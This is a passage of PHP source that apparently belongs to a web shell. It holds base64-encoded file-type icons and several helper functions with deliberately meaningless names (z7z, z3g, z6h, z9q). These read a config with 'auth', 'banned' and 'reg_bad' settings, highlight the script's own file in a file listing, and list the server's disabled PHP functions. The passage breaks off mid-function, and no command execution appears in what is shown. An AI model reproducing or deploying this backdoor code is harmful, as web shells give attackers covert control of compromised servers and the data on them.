J0Boo4mJYqOJkIiG6YuFeTfXoC1uscBaS+/gMK+uXqLRk0UrRaQeJhwJY6IRfqRWobu6iPT0sGtzL6F9+7HWzguMMaVCodC3/dBhjv79z7KeyVpLoVDAGFMy8Xh8qFwujxSLxd5l0b8mGo2Wk8nk0E8I/36fE9VC/wAAAABJRU5ErkJggg==",
"mp3"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGnSURBVDiNpZBPaxNRFMXPjFcSGtrQDiYNUgxKN0LqZ2hApAs/Ql1ZN3Vp6Kbgxp3duPAbFLor0m132XQRKvUZUGegBq2EYBU78wIz789cFyXSOtPQ0gMPHpdzf/fc63Q6nYfGmI00TRdwBbmuK4johdNut0W9Xm9Uq1W4rnup5jRNMRgM0Ov1PpJSquF5HpRSVwkAz/Pg+36DrLWw1mYMYcI4OrH4+lMh6Mf49G0IcRhh79V9AMCoj4wxYOYM4Nn2H8gwQRTGkGECGZ3+z3qNMSCtdS5Ahgnqk4zbtSLmpku4d6uAR+sfznm11iBrbS4gCmO8eTqXqZ/1jl1BhkluPbPChYDomoDRwQ4Oh3i++QPfTwzgOuMBn/sJ1t4dw+/HkFKBmdHaOsIXZwKYcVDNAbgjADPj5c4x3g9v4FexiEptEsyMxw+mMBVK3Ikl3j6p/fMyczbB4t2b2N/9jdmig9fLs2BmrC5VsLpUGX8DrTWICCtNDytNL9f8v4wxpysQkS+EgFLqXLxxTykFIQSIyKdSqdQKgmCj2+3OXzguR4VCISiXy62/DsFP85AcHBcAAAAASUVORK5CYII=",
"ttf"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIHSURBVDiNlZJBaBNBFIb/newmxRRT3EqqobhRDCiJB+vBUxHBgxavevLgwbuCBcGexUNPlZ5EpCAIhXiViiJEbQIpttRFya5mkyZE0iSVom3dnTe7HlIDWzdQf5jL+9//DW/mScVi8RIRTbuuewb/IcbYqizLd6VcLreqaVomHo+DMbavsOu6aDabqFQqn2THcTKqqsJxnMBmIVzcf7QAAHh4+3KvrqoqDMPIyEIICCH63rawaKCxvglJAnZsjoGwvAvu5hgRwfO8wLP5cwev8yWcO50A54RqY8PnExEY57wv4PnLZUyMn0JKGwaRQLnW8fmcczAhRGDYqndQqXcwPnYcx44MQQiBcq3t6xFCQP47wl49yRZw4+oYAA+jI13At7WWr5eIggEfli0MHRxASjsMz/MQVkIYUQdh1dsgEgiFWH+AwwlPs4uYuJBGbulrr67IEn7bDqrfN5BMqP0B2VcrODE6jK1tG1vbdq8+eCDcHaPagnb0UDCg/eMX3hZKmJm6hrAS8o318XMNhRULZnUdF8+nggGP59/j+pWzUGT2z7skEyqICIbV7HlE1F2ktUYbN+/N4U3+C+Ze5FGutXzf9W7JxJ0H8xBCQDfquDX1DLbtgIggzc7OlpLJZCqdTkNRlOB93iPOOXRdh2VZhhyNRidN05zWdf3kvtK7ikQiZiwWm/wDf6N/hwnofhAAAAAASUVORK5CYII=",
"jpg"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIcSURBVDiNlZJNTlNhGIWf9+v9bi8FqnANjVHToCE6ANbgxGUYN8EiTGQJrsC4AgdOGOgABkCjicVII1qr/LS0vbf9fh1gwszQd36enPOeI7u7u8+MMdsxxk1mOBE5SNN0S3Z2dg6azeZGo9FAKXUjcQiBXq9Hp9M5TIwxG3meY4yZxQB5ntNutzcS5xzv9g95/votsVYhaoVMPTJ2SBmQSUAmEWVALIgXAN68eoFzjsQ5R3cwYPl+E5nXBC1MLwvi0JBahSojYWShDIgVlFeIwFl/zLxyJNZaVK1G404DVdUEAk47wnyAiUcM6GmkPC9JKxlZrYZSglRTbGGvHFSU5unjR3y6GLOgFRdjQ6xFcIJYoWYD7rYnRE1taZEs04j2VxG89yhV4ecQ1u+tcNIfczeZp55ozieRlVRzfDxgablKVCmrj5aIaQLSxXuPcs5BgBgjE+tQUVitz/HroqQYTOn1CvIsJUOhBUZDQ7c3Rny8fqLygcuzEeNRSXCBD51z/NTjho5CKnQLjy0cWX2O3u8qIkK4lV0DEufon5xSSROCD5ixYTIo8YVFoQg2XpV/BhWdXAE2Hl4DqlPLny8/ULpC9AFTTHCl+++QnH1wDWjkdU6/fZ1piSv5Iv3uvxY2nzT5/v7lTIDhcMjn/Y8kSqn23t7e2vr6OlrrG4mttbRaLZRS7WRhYWHr6Ohou9Vqrc3iIMuydr1e3/oLlTAupOJParwAAAAASUVORK5CYII=",
"css"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHNSURBVDiNlZK9bhNBFEaPZ2e8axvbImtpgcpCIkIiToOgoqXlAWiQeAAaSB16/AC8Bq/g1lUWV+vGrVG0koOw1zt/FAOJrITE3G6k+c7cc+80ptPpa2PM2Dl3zH+UECKXUn5qTCaTfDgcjrIsQwixV9g5x3K5ZLFYfJd1XY/SNKUYv8f8LAGQ3QOGH77eCknTlKIoRtJai7WWh65EdRsAaFfivb8V8DcnjTF471HO4rdbAJSK7wQAGGOQWmu894jHzxH1BgDfbOH2AGitkdZavPcU0RTNeeggGlCefmN7sQYg7rV58fnNjRqXCll7ifwzA2OXdMwBzW4GQG30jUrGmCuAEGBNUBBRgnQCW9UAyGZ0N0ANXoENLRO1aT1N8VsLQCPeA3D6Q7OqfgHQTxRnasW5DlsZqJjD8Rmri3Du92K+fDzeBVQP1rRVAkCl15TlI6J7CoDSaDa0SO43AdjYGu/9LsBElrUJCs0oRhqoqvBiIgXOSzaboBQruQvQWvOsc8SWKlwgoZclrHXwbqsGWSOm0sE9UeEPGGOQUsoiz/PDt0fvUEpdTejltZldltaaPJ8hpSxkp9M5mc/n49ls9uTfkesVx/G83++f/AbgZRYV7aahUwAAAABJRU5ErkJggg==",
"html"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJ/SURBVDiNlZM9b1RXEIafe+65d9d79wP7rr1oMeCAsOTEjpBQKBBJlygSTZQ+HT8B/gUVok2RPp0lJIjSWJFSGCS02aBk14XBCWZtgyzb7OJ7zpmh2NgUTgFTz/vMzDsz0erq6tfe+zsi8jkfEcaYjrX2VrSystKZm5tbarVaGGM+SCwiDAYD1tfX/7BFUSzleU5RFAAo8PDxvzzfGbLx6oDzMzXO5Bl5NeWLS/kxJM9zer3ekg0hEEIA4OXuiJ9/e0atWuaT9ilazSrtqYwgyu9/Dbj/6Dk3v5mnPVXhSGe896gqIsK95afEScKhE2abGQuzk9QnEja29zEmwmO4u/wnzgdUFe89xjmHqvLjw7+RaOzB1fkZUhuTWIOoosBktUR9IsXElp9+7aOqOOcwIYxpG6+GnJup8+Vnp2lkKTY2JLGh8MJgd4iIciavUC4lrG8doKqEELBHI8TGcHV+hnJqMSYiNhE2NjzdeE3hhM23b1BV8lqZYazvRzgCnJ2usb33lkdrW+wNi2O3s1KCicbb8aKMCk/rVOUkYCIxqAhrL/b45ck/PNvaxwfh8oUm31+7SKOSIgKT1ZQkjk4CpuspO7vjNkeHnsdrO7ggBFF8EKrlBBFlNDpkup6eBFxfaHLoHM1qig9Ke6qC84Lzgg8CwN7+kDSG6wvNkwBV5dvLp3mxvcvm1mtmpyu4ILgg7A8LDt6MqJUNN660j/O99+MtOOew1jKZJdz67lMePNmk09+kcOPKaWKYnZrgh6/Ojs/9P7H3Hmut7XU6nfnFxUWSJMHGETeutP/3iVQVAOcc3W4Xa23PZll2u9/v3+l2u5c+7JHHUSqV+o1G4/Y7VN2AN07a1GsAAAAASUVORK5CYII=",
"txt"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFMSURBVDiNlZA9isJAFMd/hgcWFhZRJFNoLLZ0a7XfStDLrLfwMAqewEILu6xV0lgpgieYj2SbTdhs4qIPhhmG/+drHI/HD2vtKk3Td14Yz/MiEfls7Ha7KAzDUa/Xw/O8p8hpmnK73Tifz1+itR75vo/W+pUA+L5PHMcjcc7hnHuJDJDzxFpLlmUArNdrut1uAVJKcblcSm+lFMPhEABrLWKMKQQWi0XFKQzDyjvHG2MQ51zxsdlsAIoUSimAwjlPM51OixqlCvP5vLbvYDAo3TneWlsW2O/3JadHu8irVAQmk0nJqS7FvwkOh0OJdL/fAeh0OgAEQQDwOMF4PK7dwd95mGC73VbcrtcrQRDU1ioEjDGICLPZrALq9/sl199kay2eiMRRFKG1Jsuyp47WmiiKEJFYWq3WMkmS1el0entqAT/TbDaTdru9/AbO//fVB3FwJQAAAABJRU5ErkJggg==",
"cpp"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGnSURBVDiNlVIxSxxBGH0zfncrd5oDN3AEUhwJZyFcTBPShqC1IvgLhOQPxN42YJFKQjoLsZBUKZIiaRZSLZFkPDHuNmfnFRdOPIw3881Mqj1Z16D3wWvefO/xvceIOI4XmXnTOfcEY4yUUhHRGxFFkWo0Gq16vQ4p5Z3Ezjl0u110Op0D0lq3wjCE1nqcAxCGIZIkaZG1FtbascQAkOmImeG9zz3+Sob4Fl+g22OUSGDuURnLL6ZQmcxHZGZIYwy89yP8OLrE+499BCVgdWEKi88r2P89xNZeP7fnvYcxBmStzV3w+fsA0xWB1ys1ZJ0+uD+Bs4GFcx5C5GMUIpycajydDSCER0Y/fkgACMAVl0UoGDAD2vhCLzcNM0NmBhnqMxIqHcKwG3E/jy+x9/Uc2rjc7o0GKy+rOO0ZbHzoIdq/wKdogLfbfxAf/sWERMGgEGG+WcbGqxnsfDnHu90+yiWBZ3MB1pbu3a2DzGS+GRYyX98bGRhjQES3lnZdzMyQRJQopaC1LnyU/0FrDaUUiCiharW6nqbpZrvdbo5zQRAEaa1WW/8HGgtKKBMv8f4AAAAASUVORK5CYII=",
"h"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFkSURBVDiNlZIxbttAEEUfV+OoUKGChVohQAA38hnSuHbnO7iPD5DeB8hBcgKVkd3QQmRQgKHKgNwZSEEuZ3ZSMLIpUwmiD0yxmP2D/+dPtlgszlX1JqV0xhEIIRQi8iWbz+fFdDqdTSYTQgj/RU4psd1u2Ww29xJjnOV5TozxGAHkeU5ZljMxM8zsKDLAjhdUFXffK0oYXA7gB71et1QVaZqmJXWh4L8cV+/3OmiaBjGz/qcE1ICBN072nOETh0HfhuwsvB/gtcMtyFeBCvyjo98UPnSEqh7egSdvFTxB/B6xKyNbZWR3WX8HBxVYq8A+Gx4cmxmhDvjL/k56CngAr/x1Bx46ydTg1k9hb8DJxQk8gifHa38j7N56IMauhepn9eZi9ee4HPzUqVbV67trQVS1zVPkr3kfgqq2FkSkLIqCGOM/r65bMUaKokBEShmNRtfr9fpmuVx+OkbBcDhcj8fj698AUnPo+XFYhgAAAABJRU5ErkJggg==",
"java"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIPSURBVDiNlZPPaxNBGIafncxumsa0lqUGxGAUrCKpgiIBrYKCFDz0Us/+BfUi9uJd6KHqQQ/qP+DFiwURepHGg0IO2jTQmoiWYrUpUvs76czsrIfQQNttwRfmMDPv+/B93zBOsVi8aYwZtdae4z8khChJKe87hUKhlM1me9PpNEKIaHPhGfbaUGtvraVWqzE7OzsllVK9vu+jlIoMO6u/8Ra/stVo7Dj3fZ9KpdIrgiAgCALCMNyz2Fii7d0D9MU7iJ+fd9xt54QxJjr8d47E2F10Jo/34QnOyvwejzEGqbVuBnaprfgSdeI63vQY9f6HBOmzsMuntUbsV34YS2APHSFM+YjF6UjPgS1s9t1DfpvA+KcRS9+bVW5t7G1hG7Ct+JdXeDPj6MwldCaPO/cJm+zGm3xNbKGEWFtgffAFQDRAZ/LE5ichUDiNZdTxyxBPoU5eJS4EXnW85Y8EmK4s5tgFvJm3OFYRugmC1FHY+ANBg9WBp61hRgLEeg3rdSDWauC6OPVlwjDG1pUbhInDTdN+gI43Q8hfU6gz/dRzgyBcsBYn2CT5fgRH1VHZPhrnb+8EaK2RUrJ66xGxpR+0f3xOW3UCJ7SETgxCS9jeRZDqxvjZ1gsYY5BSykqpVOrJ5XK4rovt7mFl4HHkv2gNWinK5TJSyopMJpPD1Wp1tFwunzowtUvxeLza2dk5/A8rQ4uu8K0RngAAAABJRU5ErkJggg==",
"js"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGZSURBVDiNlZKxa1NRFMZ/93IhlhQjfUKQog2COEWnKDgK3aKj6OBf4OJg/4FOgtl0sLgJWXUXRIgFh1CQZ1xeBoNQIeKg4uJ9557jUKt9pkZz4Gzf9zvnu+e64XC4LiI9VT3HAuW9z0MId9xgMMhbrVa72Wzivf8vs6oynU6ZTCZvQoyxnWUZMcZFFiDLMoqiaIeUEimlhcwA+74gIpjZwgAAEcGXZYmZ/e6v7/Fbq/BpBLvbuKdX8I9a+P4F+Pi6oi3LkpBSqm5gYNFharhXPWz5JOn6Fu7zO6y2Age0h0dQ+wkAlk7hime4mLCzV7ETnQpARPD7gF+thn3f2yCt3yNdvouVDvfkFuw8rmgPBxho9KgCO3302GnSpdtoOI59+zIDmIngdt9iegQ7ugof+rjnD0AFXetg56/NRKgA/Iv7uJcPsc4NrLaMdTehu1m93TyAtrvYxZuw1KgI5/2DICJ79wwBW1mbmTLPLCL4EEKR5zkxxj8e8+8dYyTPc0IIRajX6xvj8bg3Go3O/HPsgarVauNGo7HxAwJPUB9huYnSAAAAAElFTkSuQmCC",
"py"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJkSURBVDiNlZO9a1NRHIafe+65uflo2tigKVgxUq0gbUUcREQ3cfALHN0EK66CHVzcXMTJ2X/Af8DJwVYqQqWWNFSbKNaKH63VmCa9yT3n3HscNBeli77z8z783uHnzM3NnTbG3IvjeIL/iBCiIqW86czMzFTK5fJ4qVRCCPFP5TiOWVtbY2VlZVEqpcaLxSJKqQR49PwVzxbf4gqBUhqtFdcunmR071DCFItFarXauIiiiCiKsNZiraXRCpivf+bUkYNk8gUcv4/1AO4/fJww1lp6PWmMwVoLQLPdYW7pHZtByHRllVani47gR6CxTifhejHGILXWWGt58vINs6+/0OxEbHZjgkaTTjdEOR6trqE/FRK+uA64iNEbyPwIWmtE7/zpxVUqGw5LGxEfWoKvyqNFFhUJsukMGbYoFPawM1wgrN5NZiQTgtCg4gyu9PBcS9T4hI/CcyDrhlwafY8XZSBSEDWw1v6a0BNopcBxSPk+pcY8t868YyjXxuouKdcl7wtoLEMUEMdsF6SFxrcWwk0uT7zn0Ege2uugO6DasNUC3QXhEWqPzG+B6AmunjvOfucjO7of2NXXBrOMdbZotjb4sdWioX2+iTKrqowdOrv9guHSILcnLwCgl2Yh0wcyhacjYiNofFcEg1fonzhBxu/fLvgzOs5DLotjArLpAmvNo8TBU/p2H8NN5RM+EWitkVImAnd4klrlAdKzxFZi1AJix3nS6cJfZWMMUkpZq1Qqo2NjY3ieB4DM76P/8J1tT9Qra62pVqtIKWsyl8tN1ev1e9Vq9cA/veLv+L5fHxgYmPoJJsCGQPCg5+wAAAAASUVORK5CYII=",
"diz"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAD9SURBVDiNzVCrjoRAEKyddIJAIEZgMSc5D34TFF9z+xf7NQgMDoHBzaHAYPmFmZ7hxIXN7oYhh7tOKun0o1JVl77vr8x8d8594kQJIRQRfV3atlVJkqRxHEMI8adn5xyWZcE8z9+ktU6llNBanxEAKSXGcUzJWgtr7alnANj+iJmxruvuUdd1AIA8z3f3zAwyxngJtrlvb4wBWWu9B1mWHRIcWqiq6tGXZem1IDaCdxRF8WJlD8zsV/A881n4HwTeDJqmeRzWdX2cgTEGRPTC/hzingpm/lVARKNSClprb9rv0FpDKQUiGikMw9s0TfdhGD52jXoqCIIpiqLbDyVJHq338QJuAAAAAElFTkSuQmCC",
"cmd"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHiSURBVDiNlZK9a1NhFMZ/933P/Qgp6XDFki2LLjZFdKoEWpBY/4Vg/oNSFPuRbiKunaWEqhQRcZdOQrldHKJLkikB6dpF7VAJyfu+1yFfHXsPnOXA+Z3nPDxeq9WqGmMOnHMrZCilVFtEdryzs7N2qVQqLy0toZS60bJzjouLC87PzzsyHA7LcRwzHA6zCCCOY3q9XlmstdRqNZIkyQRYW1tjc3MTZYzJvAyQJAnGGNRoNJoNC4VCJshoNEJZa2eDTqdDo9GgUCjgeQqtNFoLon1E+2gtaKXxvLHZ1trxC9OqP6uzuvqIdrvDfmOfW/FtoiBHFE46yBEGOaIgIgwijDGIMQalNKKFH62f1Gt1tp5v0djfo1gs8vrVGzw8AFJS0jTFOYdL7RzgS4BooVKpsL3zkvJKmaPmO94fHRMFOZgAIMWlbgxw1wCiBRGf448f+PzpC9sv9rj8c4lSQhjk8LyJgul1Z7DXAQCihMfrG/z9fYmI4PshyfdvLCzkZx6tPlgfX7YaM7iaA6obVU6+nvDv1xVq4rxWmvv3HqKUnkV8Kt06y5On1Tng8PAtURRlysBgMKDZbCIi0js9Pb27vLyM7/s3DlC320VEepLP53f7/f5Bt9u9k0VBGIb9xcXF3f+O+N/4FuZWJwAAAABJRU5ErkJggg==",
"xml"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHGSURBVDiNlZLPSlthEMV/98t3c4PBXJtbSCEg2RQkNN34DC5cuOgL+BT1LXwAX6R7CegmReE2tHAjKsQ/pCuDBsn3504XMTeNLaUZmMUMZ86cOUzQ6/V2nHOHeZ5/ZIVQSqVa689Bt9tNW61Wp9FooJT6r+E8zxmNRlxfX3/TxphOkiQYY1YRQJIkZFnW0d57vPcrDQPM57RzDhF5pVFABQAEE0NgPXmtUvTm4ZxDWWsRkSLLJ1eou3FRV758R/fvUXdjyidXS1hrLcp7XzSi7iXh+S2+vjZT9WzRP0aYdgNfXyM8vyXqXhZ47z1qfkJ0fEF4NuRxf5s8KiEihP17/NsqPq6QRyUe97cJz4ZExxeICM65hQfB0xQBpBQUnoRfh5jOu4VHpQCBGfaFoFAw2d3Cbm6wfnQKU0cwfkZnP5nOCaaO9aNT7OYGk92tPwlEhMleG9uMUTcPlHtDbKuOr5YREdTNA7YZM9lrF/ilE+bx9OkDgfWIVovtgGvWsK038Bv2rwQAohV5s/ZSSNHjFa4gsNaitV7pE51zMw+01lmaphhjlp7kX2mMIU1TtNaZrlarB4PB4LDf779fRUEURYM4jg9+AY0DZ4cpAUR4AAAAAElFTkSuQmCC",
"avi"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJgSURBVDiNlZO9bhtHFIW/mZ2d3RVXJEs1hBMYCQtFhhYp1QgR8g58Cbmy38JurJcI8hCBmq0JxEVAG8gP1KiUREhczp2fFLMJbHe+7WDunHO+M+ri4uJn7/0bpdSLl9/8RdFU6MpS2BJVGgCSeIIT4t4Rdnve/f0tKaXfjTGvzG63e9v3/cnl5SU/Pj+ksBZdlejSoAqdF4RIFE/cC8E5fmifcXV19eLs7Oyt8d6frFYr7u7ueAjvsbWlqPLrSo8LYswq9oIbHB//dKxWK7z3J+r09DSt12vOz8/5mrm+vqbrOtTx8XGazWYAXJ38Q12XaGvRpYbRAiESJRKdYxiEy/fPALi/v0d77+n7HhHhcFJStzXNtKaZTTiYtxzMW5rZhGZaU7c1h5MSEaHve7z3GO89XdcBoKuSorYUTZ1pjBSieMJuP+YREBG6rsN7jxYR1us1IoIqCpQp0KWhqCxle0DZHlBUNlMxBaoo+PSO8d6zXC6z16RIMZFSIsWM7n8KKZFigpQQEZbLZVbgvWez2SAimbUIcXD4pwHZPiLbR/zTQBxcPhOPiLDZbHIGIQQWi0UOe1CgFMSEHi3lIoWcw94RBodIYrFYEELIFm5ubjg6OmL/lLCjdG2Kz4oUfSA6wQ2CiOL29pb5fI5q2zZZa7+qRP+Ncy4r2G63TKdTfltNqJsKbUt0WXzxF7KCYbfnp18eeXh4oGkaTAjhQ1VV32utmR3WuQO1RdsSZcYMRvlhcFRGIXJHVVWklD6YGOPrGOMbpdR3v/7xhLYeXRp0WX6hYKTkHM45Ukoftdav/wWP7nOnXPYUNgAAAABJRU5ErkJggg==",
"xls"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGUSURBVDiNjZMxa9tAGIbfyAeOAo1iuFsEJmA56RS62SZLfkTH/IpCO5bQIT8he5f+hC79A7ZXBZo0NhmkRcQKpJAW4/vuvgzNXSTbSXogEJ907/O8J7Tx7Xv6YZLPTsu7PyEAHB8pWGvx2gqCIBVCfNz4fPbj79abVrjbjtFoBHh/qMDML24mIuR5jqIozkVR/g7ftfdxXcxhmaH1DojoVYM4jpFl2YEgY3B7b2AfqcwMZsZwOAQAKKUwm838RqUUut0umBnGGAhDBDJPnV3AYDDwsyRJanRXkYggiAyqZ+YCptOpJ1ctnAEAaK0hjCWvXw1JkqRGrt47g8cKBtZy7SEzYzQa1ehKqZUqRARhjIGpCLiAfr/vZ51Op0ZeCqCawboXn1veoHoGzmA8HvuZlBIAUJYlpJS+ylPAmq/Q6/VWiMtV/gXQ+grOQErpyXEcIwzD1QqaCEFDPGvgyMt0IkIgW9vzm+wnSGtYyz7gpWuxWCBNUwghrsTbvfjLxa/85HJ0sQkAX3X0Xz9Ts9mcRFH06QFIsTx57QMZyQAAAABJRU5ErkJggg==",
"pl"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAsBJREFUOMuV08trXHUUwPHv73fvzJ1H53HlJmPStE2tdtEmXVhfzVSqkNpShCClCykFl26KG/sXdFtw5cKl/hlCDQQVbSjVzlhkZiCTKiZjJzWTed7f79x7uwg0uBDs2R7O5zzgqPX19YsicieO4zO8QGitH7qu+7laW1t7OD8/v1ipVNBa/6/iOI7pdDq02+2aa4xZzOZyDIZDtNZorVGA0hqlFGq/HSpJUEoBkCQJQRDQaDQWdRRFaKWeJ8UKe70uYi3j0ZA/278hJtyHlQKlcBwHx3GIoghXREAptNYYY2g3f6X7+HuOn77MXq/DaHeDbGGKIKhgrWXQ3yHlFTiUzyMiuNZalNaEkwl7vS6FvGXq7AW8NKR0hlL+KGawyZNEYSY9vrz9KUsXr1Bd/gRrLW4URYgxdDp/ED59hCQJo40uM4ePYCd9lNY4Toqdxz+w3XpA9Y1XmTvxNp6XPVhhPB6x0bhPOtzk/i8NHt37juMnXmEmKDCcJISDp7x54RLbm7/jV6aYO3aKYrGIiKBFBGMMg94OX3/1De9evsH1z74At8zdn/7m27v3KB95nQc//4ibzlI5uUy5VMJxnP0biAij0YBWbZ3Fd85z6swSmUyGs0uX2P6rze2bH/H+1Zvkc4fIZLMUij6e55EkyQFgJmOiOOGDD6+Ty+XwPA+lFKN+l/PvnWP28DEKhSJxHBPHMdbafwNpL8Nbyx8j4ycYY0in0ziOgx8cpVAsISJYa7HWIiJEUYRS6gB4eWaOXC5DEgsiwnA4JI5jCqWXOH3uGmKFwWBAq9Xin91dZmdnMWF4ABSLRcplHxH7fHylFL7vMz09TRiG9Pt9tra2WFlZoVar4fv+PuC6bmN1dfXkwsICqVTqPx9IKUW1WqXb7RIEAfV6Hdd1G24+n7/VbDbv1Ov1117knT3Pa5ZKpVvPANPKWvOoFTopAAAAAElFTkSuQmCC",
"htaccess"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAmFJREFUOMuV089LVFEYxvHvvXOuMzU69zZjlpWl+StzjBTLCAoljSL6sQiDVi2CNhFBSdtwFSK1rL+goCBoaQaGJBWTSONUNpOTlZFTQVZq051z7mkhKaQGvvAuz4fnOfAasVisTUrZ7XneNpYxpmnGhRAXjf7+/nhRIFaHOUl4RRMF4V2ISAhtgIGx6GPP88hkMoyNjQ0L13Xr8go8PqeG+DqUxhkboehoFH9TNUbYwTDFokgkEiGZTNYJpRROyUHM9DdGHnzkSSxDVd8kVXsShA9XYbU04LNDCwClFEopTCklPqsEu+Ik5WsqsXwh7kyEuXlXMnFpgFzXbdxUGq31gpVS4mtvb79cWlqKYYcwNzgY76axxhWDmIxMSza++Elo+CXaFpiVxaDn/yWdTmMqpWZFNIGdFUTPlXGg+hOHPD9fzHV0/Zph8JHF7ys95Hp78JQ7l2CuwnwssFq2s6qzmeaaUU6rH4SNzVwzvjGQXEu28zGq7yHay81V+AfQaG1gtuwgcPUIFVXvOaY8HKOG6ypLb6KeyRuvUB/G0Z63FDC7vsYowfPNbHHe0irzyZnl3MqzePO0COPeM/DU/wG0xjy+l+CpKPX+UXbLMJNelqGpDF/iU2Rnsv8HtNZoD8SZVkpOFNNmvSZqOPRt+sn9xgifsy5SSsRfYKnRThDrwj7KC5+z/7uffruQrD2DszIwD+RyOYQQSyJqdT7Bs000uJLS6fUMx2Lo3GwCUwiRjMfjuK67dBWt0X4fth2grLiYrbW1DCcSCCGSIhgMdqRSqe5EIlG5nHP2+/0p27Y7/gDPzYj0H4o5FQAAAABJRU5ErkJggg==",
);
/* functions */
function z7z($i, $k=\'\'){ global $config; $m=array("version","auth","default_vars","banned","use_buffer","visual","reg_interesting","reg_bad"); if(!@isset($m[$i])) return \'\'; return ($k!=\'\') ? (@isset($config[$m[$i]][$k]) ? $config[$m[$i]][$k] : \'\') : (@isset($config[$m[$i]]) ? $config[$m[$i]] : \'\'); } function z3g($i,$t){ if($t!=\'d\'&&$t!=\'f\'&&$t!=\'l\'&&$t!=\'e\') return \'\'; if($t==\'l\'||$t==\'e\') $t=\'f\'; $cs=z9q(\'reg_self\'); $ci=z9q(\'reg_interesting\'); $cb=z9q(\'reg_bad\'); if($t==\'f\' && $i==@basename(__FILE__)) return (($cs!=\'\') ? \' style="color: \'.$cs.\'";\' : \'\'); foreach(z7z(\'6\',$t) as $r){ if(@preg_match(\'/\'.$r.\'/i\', $i)) return (($ci!=\'\') ? \' style="color: \'.$ci.\'";\' : \'\'); } foreach(z7z(\'7\',$t) as $r){ if(@preg_match(\'/\'.$r.\'/i\', $i)) return (($cb!=\'\') ?\' style="color: \'.$cb.\'";\' : \'\'); } } function z6h(){ $i=@ini_get(\'disable_functions\'); if($i!=\'\'){ $f=@array_map(\'trim\',@explode(\',\',$i)); @sort($f); return $f; }else{ return array(); } } function z9q($i){ global $color_skin; $a=z7z(\'5\', $color_skin); return @isset($a[$i]) ? 